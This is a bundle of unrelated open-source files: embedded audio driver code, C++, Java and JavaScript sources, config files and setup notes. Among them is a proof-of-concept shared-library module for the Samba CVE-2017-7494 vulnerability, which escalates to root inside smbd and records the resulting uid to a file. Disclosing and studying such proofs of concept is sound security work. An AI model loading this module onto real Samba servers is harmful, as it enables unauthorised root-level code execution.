(flexio_i2sHandle->queue[flexio_i2sHandle->queueDriver].data == NULL) { FLEXIO_I2S_TransferAbortReceiveEDMA(privHandle->base, flexio_i2sHandle); } } /*! * brief Initializes the FlexIO I2S eDMA handle. * * This function initializes the FlexIO I2S master DMA handle which can be used for other FlexIO I2S master * transactional APIs. * Usually, for a specified FlexIO I2S instance, call this API once to get the initialized handle. * * param base FlexIO I2S peripheral base address. * param handle FlexIO I2S eDMA handle pointer. * param callback FlexIO I2S eDMA callback function called while finished a block. * param userData User parameter for callback. * param dmaHandle eDMA handle for FlexIO I2S. This handle is a static value allocated by users. */ void FLEXIO_I2S_TransferTxCreateHandleEDMA(FLEXIO_I2S_Type *base, flexio_i2s_edma_handle_t *handle, flexio_i2s_edma_callback_t callback, void *userData, edma_handle_t *dmaHandle) { assert((handle != NULL) && (dmaHandle != NULL)); /* Zero the handle. */ (void)memset(handle, 0, sizeof(*handle)); /* Set flexio_i2s base to handle */ handle->dmaHandle = dmaHandle; handle->callback = callback; handle->userData = userData; /* Set FLEXIO I2S state to idle */ handle->state = (uint32_t)kFLEXIO_I2S_Idle; s_edmaPrivateHandle[0].base = base; s_edmaPrivateHandle[0].handle = handle; /* Need to use scatter gather */ EDMA_InstallTCDMemory(dmaHandle, STCD_ADDR(handle->tcd), FLEXIO_I2S_XFER_QUEUE_SIZE); /* Install callback for Tx dma channel */ EDMA_SetCallback(dmaHandle, FLEXIO_I2S_TxEDMACallback, &s_edmaPrivateHandle[0]); } /*! * brief Initializes the FlexIO I2S Rx eDMA handle. * * This function initializes the FlexIO I2S slave DMA handle which can be used for other FlexIO I2S master transactional * APIs. * Usually, for a specified FlexIO I2S instance, call this API once to get the initialized handle. * * param base FlexIO I2S peripheral base address. * param handle FlexIO I2S eDMA handle pointer. * param callback FlexIO I2S eDMA callback function called while finished a block. * param userData User parameter for callback. * param dmaHandle eDMA handle for FlexIO I2S. This handle is a static value allocated by users. */ void FLEXIO_I2S_TransferRxCreateHandleEDMA(FLEXIO_I2S_Type *base, flexio_i2s_edma_handle_t *handle, flexio_i2s_edma_callback_t callback, void *userData, edma_handle_t *dmaHandle) { assert((handle != NULL) && (dmaHandle != NULL)); /* Zero the handle. */ (void)memset(handle, 0, sizeof(*handle)); /* Set flexio_i2s base to handle */ handle->dmaHandle = dmaHandle; handle->callback = callback; handle->userData = userData; /* Set FLEXIO I2S state to idle */ handle->state = (uint32_t)kFLEXIO_I2S_Idle; s_edmaPrivateHandle[1].base = base; s_edmaPrivateHandle[1].handle = handle; /* Need to use scatter gather */ EDMA_InstallTCDMemory(dmaHandle, STCD_ADDR(handle->tcd), FLEXIO_I2S_XFER_QUEUE_SIZE); /* Install callback for Tx dma channel */ EDMA_SetCallback(dmaHandle, FLEXIO_I2S_RxEDMACallback, &s_edmaPrivateHandle[1]); } /*! * brief Configures the FlexIO I2S Tx audio format. * * Audio format can be changed in run-time of FlexIO I2S. This function configures the sample rate and audio data * format to be transferred. This function also sets the eDMA parameter according to format. * * param base FlexIO I2S peripheral base address. * param handle FlexIO I2S eDMA handle pointer * param format Pointer to FlexIO I2S audio data format structure. * param srcClock_Hz FlexIO I2S clock source frequency in Hz, it should be 0 while in slave mode. * retval kStatus_Success Audio format set successfully. * retval kStatus_InvalidArgument The input arguments is invalid. */ void FLEXIO_I2S_TransferSetFormatEDMA(FLEXIO_I2S_Type *base, flexio_i2s_edma_handle_t *handle, flexio_i2s_format_t *format, uint32_t srcClock_Hz) { assert((handle != NULL) && (format != NULL)); /* Configure the audio format to FLEXIO I2S registers */ if (srcClock_Hz != 0UL) { /* It is master */ FLEXIO_I2S_MasterSetFormat(base, format, srcClock_Hz); } else { FLEXIO_I2S_SlaveSetFormat(base, format); } /* Get the transfer size from format, this should be used in EDMA configuration */ handle->bytesPerFrame = format->bitWidth / 8U; } /*! * brief Performs a non-blocking FlexIO I2S transfer using DMA. * * note This interface returned immediately after transfer initiates. Users should call * FLEXIO_I2S_GetTransferStatus to poll the transfer status and check whether the FlexIO I2S transfer is finished. * * param base FlexIO I2S peripheral base address. * param handle FlexIO I2S DMA handle pointer. * param xfer Pointer to DMA transfer structure. * retval kStatus_Success Start a FlexIO I2S eDMA send successfully. * retval kStatus_InvalidArgument The input arguments is invalid. * retval kStatus_TxBusy FlexIO I2S is busy sending data. */ status_t FLEXIO_I2S_TransferSendEDMA(FLEXIO_I2S_Type *base, flexio_i2s_edma_handle_t *handle, flexio_i2s_transfer_t *xfer) { assert((handle != NULL) && (xfer != NULL)); edma_transfer_config_t config = {0}; uint32_t destAddr = FLEXIO_I2S_TxGetDataRegisterAddress(base) + (4UL - handle->bytesPerFrame); /* Check if input parameter invalid */ if ((xfer->data == NULL) || (xfer->dataSize == 0U)) { return kStatus_InvalidArgument; } if (handle->queue[handle->queueUser].data != NULL) { return kStatus_FLEXIO_I2S_QueueFull; } /* Change the state of handle */ handle->state = (uint32_t)kFLEXIO_I2S_Busy; /* Update the queue state */ handle->queue[handle->queueUser].data = xfer->data; handle->queue[handle->queueUser].dataSize = xfer->dataSize; handle->transferSize[handle->queueUser] = xfer->dataSize; handle->queueUser = (handle->queueUser + 1U) % FLEXIO_I2S_XFER_QUEUE_SIZE; /* Prepare edma configure */ EDMA_PrepareTransfer(&config, xfer->data, handle->bytesPerFrame, (uint32_t *)destAddr, handle->bytesPerFrame, handle->bytesPerFrame, xfer->dataSize, kEDMA_MemoryToPeripheral); /* Store the initially configured eDMA minor byte transfer count into the FLEXIO I2S handle */ handle->nbytes = handle->bytesPerFrame; (void)EDMA_SubmitTransfer(handle->dmaHandle, &config); /* Start DMA transfer */ EDMA_StartTransfer(handle->dmaHandle); /* Enable DMA enable bit */ FLEXIO_I2S_TxEnableDMA(base, true); /* Enable FLEXIO I2S Tx clock */ FLEXIO_I2S_Enable(base, true); return kStatus_Success; } /*! * brief Performs a non-blocking FlexIO I2S receive using eDMA. * * note This interface returned immediately after transfer initiates. Users should call * FLEXIO_I2S_GetReceiveRemainingBytes to poll the transfer status and check whether the FlexIO I2S transfer is * finished. * * param base FlexIO I2S peripheral base address. * param handle FlexIO I2S DMA handle pointer. * param xfer Pointer to DMA transfer structure. * retval kStatus_Success Start a FlexIO I2S eDMA receive successfully. * retval kStatus_InvalidArgument The input arguments is invalid. * retval kStatus_RxBusy FlexIO I2S is busy receiving data. */ status_t FLEXIO_I2S_TransferReceiveEDMA(FLEXIO_I2S_Type *base, flexio_i2s_edma_handle_t *handle, flexio_i2s_transfer_t *xfer) { assert((handle != NULL) && (xfer != NULL)); edma_transfer_config_t config = {0}; uint32_t srcAddr = FLEXIO_I2S_RxGetDataRegisterAddress(base); /* Check if input parameter invalid */ if ((xfer->data == NULL) || (xfer->dataSize == 0U)) { return kStatus_InvalidArgument; } if (handle->queue[handle->queueUser].data != NULL) { return kStatus_FLEXIO_I2S_QueueFull; } /* Change the state of handle */ handle->state = (uint32_t)kFLEXIO_I2S_Busy; /* Update queue state */ handle->queue[handle->queueUser].data = xfer->data; handle->queue[handle->queueUser].dataSize = xfer->dataSize; handle->transferSize[handle->queueUser] = xfer->dataSize; handle->queueUser = (handle->queueUser + 1U) % FLEXIO_I2S_XFER_QUEUE_SIZE; /* Prepare edma configure */ EDMA_PrepareTransfer(&config, (uint32_t *)srcAddr, handle->bytesPerFrame, xfer->data, handle->bytesPerFrame, handle->bytesPerFrame, xfer->dataSize, kEDMA_PeripheralToMemory); /* Store the initially configured eDMA minor byte transfer count into the FLEXIO I2S handle */ handle->nbytes = handle->bytesPerFrame; (void)EDMA_SubmitTransfer(handle->dmaHandle, &config); /* Start DMA transfer */ EDMA_StartTransfer(handle->dmaHandle); /* Enable DMA enable bit */ FLEXIO_I2S_RxEnableDMA(base, true); /* Enable FLEXIO I2S Rx clock */ FLEXIO_I2S_Enable(base, true); return kStatus_Success; } /*! * brief Aborts a FlexIO I2S transfer using eDMA. * * param base FlexIO I2S peripheral base address. * param handle FlexIO I2S DMA handle pointer. */ void FLEXIO_I2S_TransferAbortSendEDMA(FLEXIO_I2S_Type *base, flexio_i2s_edma_handle_t *handle) { assert(handle != NULL); /* Disable dma */ EDMA_AbortTransfer(handle->dmaHandle); /* Disable DMA enable bit */ FLEXIO_I2S_TxEnableDMA(base, false); /* Set the handle state */ handle->state = (uint32_t)kFLEXIO_I2S_Idle; } /*! * brief Aborts a FlexIO I2S receive using eDMA. * * param base FlexIO I2S peripheral base address. * param handle FlexIO I2S DMA handle pointer. */ void FLEXIO_I2S_TransferAbortReceiveEDMA(FLEXIO_I2S_Type *base, flexio_i2s_edma_handle_t *handle) { assert(handle != NULL); /* Disable dma */ EDMA_AbortTransfer(handle->dmaHandle); /* Disable DMA enable bit */ FLEXIO_I2S_RxEnableDMA(base, false); /* Set the handle state */ handle->state = (uint32_t)kFLEXIO_I2S_Idle; } /*! * brief Gets the remaining bytes to be sent. * * param base FlexIO I2S peripheral base address. * param handle FlexIO I2S DMA handle pointer. * param count Bytes sent. * retval kStatus_Success Succeed get the transfer count. * retval kStatus_NoTransferInProgress There is not a non-blocking transaction currently in progress. */ status_t FLEXIO_I2S_TransferGetSendCountEDMA(FLEXIO_I2S_Type *base, flexio_i2s_edma_handle_t *handle, size_t *count) { assert(handle != NULL); status_t status = kStatus_Success; if (handle->state != (uint32_t)kFLEXIO_I2S_Busy) { status = kStatus_NoTransferInProgress; } else { *count = handle->transferSize[handle->queueDriver] - (uint32_t)handle->nbytes * EDMA_GetRemainingMajorLoopCount(handle->dmaHandle->base, handle->dmaHandle->channel); } return status; } /*! * brief Get the remaining bytes to be received. * * param base FlexIO I2S peripheral base address. * param handle FlexIO I2S DMA handle pointer. * param count Bytes received. * retval kStatus_Success Succeed get the transfer count. * retval kStatus_NoTransferInProgress There is not a non-blocking transaction currently in progress. */ status_t FLEXIO_I2S_TransferGetReceiveCountEDMA(FLEXIO_I2S_Type *base, flexio_i2s_edma_handle_t *handle, size_t *count) { assert(handle != NULL); status_t status = kStatus_Success; if (handle->state != (uint32_t)kFLEXIO_I2S_Busy) { status = kStatus_NoTransferInProgress; } else { *count = handle->transferSize[handle->queueDriver] - (uint32_t)handle->nbytes * EDMA_GetRemainingMajorLoopCount(handle->dmaHandle->base, handle->dmaHandle->channel); } return status; }
{ "pile_set_name": "Github" }
// // detail/impl/service_registry.hpp // ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ // // Copyright (c) 2003-2019 Christopher M. Kohlhoff (chris at kohlhoff dot com) // // Distributed under the Boost Software License, Version 1.0. (See accompanying // file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) // #ifndef ASIO_DETAIL_IMPL_SERVICE_REGISTRY_HPP #define ASIO_DETAIL_IMPL_SERVICE_REGISTRY_HPP #if defined(_MSC_VER) && (_MSC_VER >= 1200) # pragma once #endif // defined(_MSC_VER) && (_MSC_VER >= 1200) #include "asio/detail/push_options.hpp" namespace asio { namespace detail { template <typename Service> Service& service_registry::use_service() { execution_context::service::key key; init_key<Service>(key, 0); factory_type factory = &service_registry::create<Service, execution_context>; return *static_cast<Service*>(do_use_service(key, factory, &owner_)); } template <typename Service> Service& service_registry::use_service(io_context& owner) { execution_context::service::key key; init_key<Service>(key, 0); factory_type factory = &service_registry::create<Service, io_context>; return *static_cast<Service*>(do_use_service(key, factory, &owner)); } template <typename Service> void service_registry::add_service(Service* new_service) { execution_context::service::key key; init_key<Service>(key, 0); return do_add_service(key, new_service); } template <typename Service> bool service_registry::has_service() const { execution_context::service::key key; init_key<Service>(key, 0); return do_has_service(key); } template <typename Service> inline void service_registry::init_key( execution_context::service::key& key, ...) { init_key_from_id(key, Service::id); } #if !defined(ASIO_NO_TYPEID) template <typename Service> void service_registry::init_key(execution_context::service::key& key, typename enable_if< is_base_of<typename Service::key_type, Service>::value>::type*) { key.type_info_ = &typeid(typeid_wrapper<Service>); key.id_ = 0; } template <typename Service> void service_registry::init_key_from_id(execution_context::service::key& key, const service_id<Service>& /*id*/) { key.type_info_ = &typeid(typeid_wrapper<Service>); key.id_ = 0; } #endif // !defined(ASIO_NO_TYPEID) template <typename Service, typename Owner> execution_context::service* service_registry::create(void* owner) { return new Service(*static_cast<Owner*>(owner)); } } // namespace detail } // namespace asio #include "asio/detail/pop_options.hpp" #endif // ASIO_DETAIL_IMPL_SERVICE_REGISTRY_HPP
{ "pile_set_name": "Github" }
/** * Copyright (c) 2014-present, Facebook, Inc. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ var React = require('react'); var Router = require('react-router'); var { Map, Seq } = require('../../../../'); var defs = require('../../../lib/getTypeDefs'); var SideBar = React.createClass({ render() { var type = defs.Immutable; return ( <div className="sideBar"> <div className="toolBar"> <div onClick={this.props.toggleShowInGroups} onKeyPress={this.props.toggleShowInGroups} > <span className={this.props.showInGroups && 'selected'}> Grouped </span> {' • '} <span className={this.props.showInGroups || 'selected'}> Alphabetized </span> </div> <div onClick={this.props.toggleShowInherited} onKeyPress={this.props.toggleShowInherited} > <span className={this.props.showInherited && 'selected'}> Inherited </span> {' • '} <span className={this.props.showInherited || 'selected'}> Defined </span> </div> </div> <div className="scrollContent"> <h4 className="groupTitle">API</h4> {Seq(type.module) .flatMap((t, name) => flattenSubmodules(Map(), t, name)) .map((t, name) => this.renderSideBarType(name, t)) .valueSeq() .toArray()} </div> </div> ); }, renderSideBarType(typeName, type) { var isFocus = this.props.focus === typeName; var isFunction = !type.interface && !type.module; var call = type.call; var functions = Seq(type.module).filter(t => !t.interface && !t.module); var label = typeName + (isFunction ? '()' : ''); if (!isFocus) { label = <Router.Link to={'/' + typeName}>{label}</Router.Link>; } var memberGroups = this.props.memberGroups; var members = !isFocus || isFunction ? null : ( <div className="members"> {call && ( <section> <h4 className="groupTitle">Construction</h4> <div> <Router.Link to={'/' + typeName + '/' + typeName}> {typeName + '()'} </Router.Link> </div> </section> )} {functions.count() > 0 && ( <section> <h4 className="groupTitle">Static Methods</h4> {functions .map((t, name) => ( <div key={name}> <Router.Link to={'/' + typeName + '/' + name}> {typeName + '.' + name + '()'} </Router.Link> </div> )) .valueSeq() .toArray()} </section> )} <section> {Seq(memberGroups) .map( (members, title) => members.length === 0 ? null : Seq([ <h4 key={title || 'Members'} className="groupTitle"> {title || 'Members'} </h4>, Seq(members).map(member => ( <div key={member.memberName}> <Router.Link to={'/' + typeName + '/' + member.memberName} > {member.memberName + (member.memberDef.signatures ? '()' : '')} </Router.Link> </div> )), ]) ) .flatten() .valueSeq() .toArray()} </section> </div> ); return ( <div key={typeName}> <h2>{label}</h2> {members} </div> ); }, }); function flattenSubmodules(modules, type, name) { modules = modules.set(name, type); return type.module ? Seq(type.module) .filter(t => t.interface || t.module) .reduce( (modules, subT, subName) => flattenSubmodules(modules, subT, name + '.' + subName), modules ) : modules; } module.exports = SideBar;
{ "pile_set_name": "Github" }
/* * JBoss, Home of Professional Open Source * Copyright 2010, Red Hat Inc., and individual contributors as indicated * by the @authors tag. See the copyright.txt in the distribution for a * full listing of individual contributors. * * This is free software; you can redistribute it and/or modify it * under the terms of the GNU Lesser General Public License as * published by the Free Software Foundation; either version 2.1 of * the License, or (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this software; if not, write to the Free * Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA * 02110-1301 USA, or see the FSF site: http://www.fsf.org. */ package org.jboss.as.test.integration.weld.ejb.interceptor.packaging; import org.jboss.arquillian.container.test.api.Deployment; import org.jboss.arquillian.junit.Arquillian; import org.jboss.as.test.integration.ejb.packaging.war.namingcontext.EjbInterface; import org.jboss.shrinkwrap.api.Archive; import org.jboss.shrinkwrap.api.ShrinkWrap; import org.jboss.shrinkwrap.api.asset.StringAsset; import org.jboss.shrinkwrap.api.spec.EnterpriseArchive; import org.jboss.shrinkwrap.api.spec.JavaArchive; import org.junit.Assert; import org.junit.Test; import org.junit.runner.RunWith; import javax.naming.InitialContext; import javax.naming.NamingException; /** * AS7-1032 * * Tests the {@link org.jboss.as.weld.ejb.Jsr299BindingsInterceptor} is only applied to appropriate EJB's * * @author Stuart Douglas */ @RunWith(Arquillian.class) public class CdiInterceptorEarPackagingTestCase { @Deployment public static Archive<?> deploy() { EnterpriseArchive ear = ShrinkWrap.create(EnterpriseArchive.class, "CdiInterceptorPackaging.ear"); JavaArchive lib = ShrinkWrap.create(JavaArchive.class, "lib.jar"); lib.addClass(EjbInterface.class); ear.addAsLibrary(lib); JavaArchive jar1 = ShrinkWrap.create(JavaArchive.class, "cdiJar.jar"); jar1.addClasses(CdiInterceptorEarPackagingTestCase.class, CdiInterceptorBinding.class, CdiInterceptor.class, CdiEjb.class); jar1.add(new StringAsset("<beans><interceptors><class>"+ CdiInterceptor.class.getName() + "</class></interceptors></beans>"), "META-INF/beans.xml"); ear.addAsModule(jar1); JavaArchive jar2 = ShrinkWrap.create(JavaArchive.class, "nonCdiJar.jar"); jar2.addClasses(NonCdiEjb.class); ear.addAsModule(jar2); return ear; } @Test public void testCdiInterceptorApplied() throws NamingException { CdiEjb cdiEjb = (CdiEjb) new InitialContext().lookup("java:app/cdiJar/CdiEjb"); Assert.assertEquals("Hello World", cdiEjb.sayHello()); } @Test public void testCdiInterceptorNotApplied() throws NamingException { NonCdiEjb cdiEjb = (NonCdiEjb) new InitialContext().lookup("java:app/nonCdiJar/NonCdiEjb"); Assert.assertEquals("Hello", cdiEjb.sayHello()); } }
{ "pile_set_name": "Github" }
/* Benjamin DELPY `gentilkiwi` http://blog.gentilkiwi.com [email protected] Licence : https://creativecommons.org/licenses/by/4.0/ Samba module for CVE-2017-7494 ( https://www.samba.org/samba/security/CVE-2017-7494.html ) cc -m32 -shared -o lib_smb_pipe_x86.so -fPIC lib_smb_pipe.c cc -m64 -shared -o lib_smb_pipe_x64.so -fPIC lib_smb_pipe.c */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <stdbool.h> #include <string.h> #include <dlfcn.h> #include <unistd.h> #include <pwd.h> #include <time.h> #include <libgen.h> #define SMB_RPC_INTERFACE_VERSION 1 #define NT_STATUS_UNSUCCESSFUL (0xC0000000 | 0x00000001) typedef uint32_t NTSTATUS; struct GUID { uint32_t time_low; uint16_t time_mid; uint16_t time_hi_and_version; uint8_t clock_seq[2]; uint8_t node[6]; }; struct ndr_syntax_id { struct GUID uuid; uint32_t if_version; }; struct ndr_interface_table { const char *name; struct ndr_syntax_id syntax_id; const char *helpstring; uint32_t num_calls; const struct ndr_interface_call *calls; const struct ndr_interface_string_array *endpoints; const struct ndr_interface_string_array *authservices; }; extern NTSTATUS rpc_srv_register(int version, const char *clnt, const char *srv, const struct ndr_interface_table *iface, const void /*struct api_struct*/ *cmds, int size, const void /*struct rpc_srv_callbacks*/ *rpc_srv_cb); extern bool change_to_root_user(void); static void *cmds; static struct ndr_interface_table ndr_table_libpoc = { .name = NULL, .syntax_id = {{0xdeadbeef, 0x0000, 0x0000, {0x00, 0x00}, {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}}, 1}, .helpstring = NULL, .num_calls = 0, .calls = NULL, .endpoints = NULL, .authservices = NULL }; static char * path_dir_combine(const char *path, const char *file); NTSTATUS samba_init_module(void) { NTSTATUS status = NT_STATUS_UNSUCCESSFUL; Dl_info info; FILE *file; char *filename; struct passwd *pw, *epw; change_to_root_user(); if(dladdr(samba_init_module, &info)) { pw = getpwuid(getuid()); epw = getpwuid(geteuid()); if(filename = path_dir_combine(info.dli_fname, "myid.txt")) { file = fopen(filename, "w"); if(file) { fprintf(file, "[smbd with module %s] uid: %u (%s) / euid: %u (%s)\n", info.dli_fname, pw->pw_uid, pw->pw_name, epw->pw_uid, epw->pw_name); fclose(file); } free(filename); } srand(time(NULL)); ndr_table_libpoc.syntax_id.uuid.time_mid = rand() % 0x10000; ndr_table_libpoc.syntax_id.uuid.time_hi_and_version = rand() % 0x10000; status = rpc_srv_register(SMB_RPC_INTERFACE_VERSION, info.dli_fname, info.dli_fname, &ndr_table_libpoc, &cmds, 0, NULL); } return status; } NTSTATUS init_samba_module(void) { return samba_init_module(); } static char * path_dir_combine(const char *path, const char *file) { char *result = NULL, *duppath, *mypath; size_t len; if(duppath = strdup(path)) { if(mypath = dirname(duppath)) { len = snprintf(NULL, 0, "%s/%s", mypath, file); if(len > 0) { if(result = malloc(len + 1)) { if(snprintf(result, len + 1, "%s/%s", mypath, file) < len) { free(result); result = NULL; } } } } free(duppath); } return result; }
{ "pile_set_name": "Github" }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title></title> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> <script type="text/javascript" src="../internal.js"></script> <style type="text/css"> html,body{overflow:hidden;} #specharsTab{width: 97%;margin: 10px auto; zoom:1;position: relative} .tabbody {height:447px;} .tabbody span{ margin: 5px 3px;text-align: center;display:inline-block;width: 40px;height:16px;line-height: 16px;cursor: pointer; } </style> </head> <body> <div id="specharsTab"> <div id="tabHeads" class="tabhead"></div><div id="tabBodys" class="tabbody"></div> </div> <script type="text/javascript" src="spechars.js"></script> </body> </html>
{ "pile_set_name": "Github" }
%YAML 1.1 %TAG !u! tag:unity3d.com,2011: --- !u!21 &2100000 Material: serializedVersion: 6 m_ObjectHideFlags: 0 m_PrefabParentObject: {fileID: 0} m_PrefabInternal: {fileID: 0} m_Name: RobotoLightMultiplyDouble m_Shader: {fileID: 4800000, guid: a341e5901a10a4ab2b8043aac6ff3b92, type: 3} m_ShaderKeywords: m_LightmapFlags: 5 m_CustomRenderQueue: -1 stringTagMap: {} m_SavedProperties: serializedVersion: 2 m_TexEnvs: data: first: name: _MainTex second: m_Texture: {fileID: 2800000, guid: 2f896c3e49a77424f985eb1d8bffd2ef, type: 3} m_Scale: {x: 1, y: 1} m_Offset: {x: 0, y: 0} m_Floats: {} m_Colors: data: first: name: _Color second: {r: 1, g: 1, b: 1, a: 1}
{ "pile_set_name": "Github" }
/* Copyright (c) 2003-2017, CKSource - Frederico Knabben. All rights reserved. For licensing, see LICENSE.md or http://ckeditor.com/license */ CKEDITOR.plugins.setLang( 'toolbar', 'mn', { toolbarCollapse: 'Collapse Toolbar', // MISSING toolbarExpand: 'Expand Toolbar', // MISSING toolbarGroups: { document: 'Document', clipboard: 'Clipboard/Undo', editing: 'Editing', forms: 'Forms', basicstyles: 'Basic Styles', paragraph: 'Paragraph', links: 'Холбоосууд', insert: 'Оруулах', styles: 'Загварууд', colors: 'Онгөнүүд', tools: 'Хэрэгслүүд' }, toolbars: 'Болосруулагчийн хэрэгслийн самбар' } );
{ "pile_set_name": "Github" }
/* (c) 2014 Open Source Geospatial Foundation - all rights reserved * (c) 2001 - 2013 OpenPlans * This code is licensed under the GPL 2.0 license, available at the root * application directory. */ package org.geoserver.wcs.kvp; import static org.vfny.geoserver.wcs.WcsException.WcsExceptionCode.InvalidParameterValue; import org.geoserver.ows.KvpParser; import org.vfny.geoserver.wcs.WcsException; /** * Not really a parser, but a validity checker instead (ensures the specified type is among the * values foreseen by the standard and supported by GeoServer) * * @author Andrea Aime */ public class GridTypeKvpParser extends KvpParser { public GridTypeKvpParser() { super("GridType", String.class); } @Override public Object parse(String value) throws Exception { GridType type = null; for (GridType currType : GridType.values()) { if (currType.getXmlConstant().equalsIgnoreCase(value)) { type = currType; break; } } if (type == null) throw new WcsException( "Could not understand grid type '" + value + "'", InvalidParameterValue, "GridType"); if (type == GridType.GT2dGridIn3dCrs) throw new WcsException( "GeoServer does not support type " + type.name(), InvalidParameterValue, "GridType"); return type.getXmlConstant(); } }
{ "pile_set_name": "Github" }
/* IMPORTANT! This file is auto-generated each time you save your project - if you alter its contents, your changes may be overwritten! */ #include "AppConfig.h" #include <juce_audio_plugin_client/juce_audio_plugin_client_VST_utils.mm>
{ "pile_set_name": "Github" }
// by tauren // https://github.com/Modernizr/Modernizr/issues/191 Modernizr.addTest('cookies', function () { // Quick test if browser has cookieEnabled host property if (navigator.cookieEnabled) return true; // Create cookie document.cookie = "cookietest=1"; var ret = document.cookie.indexOf("cookietest=") != -1; // Delete cookie document.cookie = "cookietest=1; expires=Thu, 01-Jan-1970 00:00:01 GMT"; return ret; });
{ "pile_set_name": "Github" }
/* * JBoss, Home of Professional Open Source * Copyright 2010, Red Hat, Inc., and individual contributors * by the @authors tag. See the copyright.txt in the distribution for a * full listing of individual contributors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * http://www.apache.org/licenses/LICENSE-2.0 * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.jboss.weld.tests.beanManager.injectionPoint; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertNull; import static org.junit.Assert.assertTrue; import java.lang.reflect.ParameterizedType; import java.lang.reflect.Type; import java.util.Arrays; import jakarta.enterprise.inject.Default; import jakarta.enterprise.inject.spi.AnnotatedConstructor; import jakarta.enterprise.inject.spi.AnnotatedField; import jakarta.enterprise.inject.spi.AnnotatedMethod; import jakarta.enterprise.inject.spi.AnnotatedParameter; import jakarta.enterprise.inject.spi.AnnotatedType; import jakarta.enterprise.inject.spi.BeanManager; import jakarta.enterprise.inject.spi.InjectionPoint; import jakarta.inject.Inject; import org.jboss.arquillian.container.test.api.Deployment; import org.jboss.arquillian.junit.Arquillian; import org.jboss.shrinkwrap.api.Archive; import org.jboss.shrinkwrap.api.BeanArchive; import org.jboss.shrinkwrap.api.ShrinkWrap; import org.jboss.weld.test.util.Utils; import org.jboss.weld.tests.util.BeanUtilities; import org.junit.Test; import org.junit.runner.RunWith; @RunWith(Arquillian.class) public class CreateInjectionPointTest { @Inject private BeanManager manager; @Deployment public static Archive<?> getDeployment() { return ShrinkWrap.create(BeanArchive.class, Utils.getDeploymentNameAsHash(CreateInjectionPointTest.class)).addPackage(Book.class.getPackage()).addClass(BeanUtilities.class); } @Test public void testField() { AnnotatedType<?> type = manager.createAnnotatedType(Library.class); assertEquals(1, type.getFields().size()); AnnotatedField<?> field = type.getFields().iterator().next(); InjectionPoint ip = manager.createInjectionPoint(field); validateParameterizedType(ip.getType(), Book.class, String.class); BeanUtilities.verifyQualifierTypes(ip.getQualifiers(), Monograph.class, Fictional.class); assertNull(ip.getBean()); assertEquals(field.getJavaMember(), ip.getMember()); assertNotNull(ip.getAnnotated()); assertFalse(ip.isDelegate()); assertTrue(ip.isTransient()); } @Test public void testConstructorParameter() { AnnotatedType<?> type = manager.createAnnotatedType(Library.class); assertEquals(1, type.getConstructors().size()); AnnotatedConstructor<?> constructor = type.getConstructors().iterator().next(); AnnotatedParameter<?> parameter = constructor.getParameters().get(1); InjectionPoint ip = manager.createInjectionPoint(parameter); validateParameterizedType(ip.getType(), Book.class, String.class); BeanUtilities.verifyQualifierTypes(ip.getQualifiers(), Fictional.class); assertNull(ip.getBean()); assertEquals(constructor.getJavaMember(), ip.getMember()); assertNotNull(ip.getAnnotated()); assertFalse(ip.isDelegate()); assertFalse(ip.isTransient()); } @Test public void testMethodParameter() { AnnotatedType<?> type = manager.createAnnotatedType(Library.class); assertEquals(1, type.getMethods().size()); AnnotatedMethod<?> method = type.getMethods().iterator().next(); AnnotatedParameter<?> parameter = method.getParameters().get(2); InjectionPoint ip = manager.createInjectionPoint(parameter); validateParameterizedType(ip.getType(), Book.class, Integer.class); BeanUtilities.verifyQualifierTypes(ip.getQualifiers(), Default.class); assertNull(ip.getBean()); assertEquals(method.getJavaMember(), ip.getMember()); assertNotNull(ip.getAnnotated()); assertFalse(ip.isDelegate()); assertFalse(ip.isTransient()); } private static void validateParameterizedType(Type type, Class<?> rawType, Type... types) { assertTrue(type instanceof ParameterizedType); ParameterizedType parameterized = (ParameterizedType) type; assertEquals(rawType, parameterized.getRawType()); assertTrue(Arrays.equals(types, parameterized.getActualTypeArguments())); } }
{ "pile_set_name": "Github" }
## Oh-my-zsh - Fancy your Terminal We will use the shell named `zsh` instead of `bash`, the default one. ```bash # it will ask for your session password sudo apt install -y zsh curl vim nodejs imagemagick jq ``` ```bash sh -c "$(curl -fsSL https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)" ``` At then end, your terminal should look like this: ![zsh](images/wsl2_zsh.jpg) If it doesn't, **ask a teacher**.
{ "pile_set_name": "Github" }
@echo off REM Windows script for running unit tests REM You have to run server and capture some browser first REM REM Requirements: REM - NodeJS (http://nodejs.org/) REM - Karma (npm install -g karma) set BASE_DIR=%~dp0 karma start "%BASE_DIR%\..\config\karma.conf.js" %*
{ "pile_set_name": "Github" }
